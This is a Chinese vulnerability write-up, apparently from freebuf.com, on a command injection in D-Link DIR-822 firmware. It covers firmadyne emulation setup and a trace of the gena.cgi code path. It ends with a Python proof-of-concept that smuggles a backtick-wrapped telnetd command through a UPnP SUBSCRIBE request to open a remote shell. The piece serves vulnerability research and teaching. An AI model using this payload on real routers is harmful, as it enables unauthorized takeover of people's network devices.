1.环境搭建
系统:Ubuntu18.04
固件:DIR822A1_FW103WWb03.bin
使用firmadyne工具运行固件
注意:Firmadyne安装之前,先安装firmware-analysis-toolkit
由于过程比较复杂而且中间有错就会导致最后的失败。所以这里我把安装过程所需要的命令给大家总结了一下。
git clone https://github.com/attify/firmware-analysis-toolkit cd firmware-analysis-toolkit ./setup.sh
”./setup.sh“这个过程比较吃网络,如果网络慢的同学可以出门抽个烟、喝个酒、吃个火锅再回来。
接着找到fat.config文件后修改root密码。
接着安装依赖
sudo apt-get install busybox-static fakeroot git dmsetup kpartx netcat-openbsd nmap python-psycopg2 python3-psycopg2 snmp uml-utilities util-linux vlan
将固件拷贝到firmadyne文件夹下。
重置文件。
rm -rf images* python3 reset.py
安装配置数据库(由于我这里存在firware,所以database提示存在)
sudo apt-get install postgresql sudo -u postgres createuser -P firmadyne sudo -u postgres createdb -O firmadyne firmware sudo -u postgres psql -d firmware < ./firmadyne/database/schema
对模拟环境进行配置
./sources/extractor/extractor.py -b Dlink -sql 127.0.0.1 -np-nk "DIR822A1_FW103WWb03.bin" images ./scripts/getArch.sh ./images/1.tar.gz ./scripts/makeImage.sh 1 mipseb ./scripts/inferNetwork.sh 1 mipseb ./scratch/1/run.sh
最后打开浏览器输入ip即可访问
2.漏洞分析
genacgi_main函数是漏洞开始的触发点,通过getenv函数获取“REQUEST_URI”环境变量的内容,接着对其进行验证,最后进入sub_40FCE0。
下图是sub_40FCE0函数的内容,在上图中获得的值,最终通过xmldbc_ephp函数发送出去,数据由run.NOTIFY.php进行处理。
该php调用了GENA_subscribe_new函数,并且向里面传递了cgibin中获取到的数据,还传递了SHELL_FILE参数。
文件gena.php中是函数GENA_subscribe_new的实现代码。
从代码中我们可以看到该函数并未对shell_file数据进行操作。但是在最后调用了GENA_notify_init函数传入了shell_file。
接下来在该文件下找到GENA_notify_init函数
第一次调用fwrite的时候创建了文件。
第二次调用fwrite的时候使用了“rm -f”命令。
到此为止我们的攻击思路大致已经出来了。我们只需要插入一个反引号包裹的系统命令,然后注入到shell脚本中即可。
3.漏洞验证
import socket import os from time import sleep def httpSUB(server, port, shell_file): print('\n[*] Connection {host}:{port}').format(host=server, port=port) con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n" request += "Host: " + str(server) + str(port) + "\n" request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n" request += "NT: upnp:event\n" request += "Timeout: Second-1800\n" request += "Accept-Encoding: gzip, deflate\n" request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n" sleep(1) print('[*] Sending Payload') con.connect((socket.gethostbyname(server),port)) con.send(request.encode()) results = con.recv(4096) sleep(1) print('[*] Running Telnetd Service') sleep(1) print('[*] Opening Telnet Connection\n') sleep(2) os.system('telnet ' + str(server) + ' 9999') serverInput = raw_input('IP Router: ') portInput = 49152 httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')
来源:freebuf.com 2021-04-19 14:44:44 by: 18611187907
请登录后发表评论
注册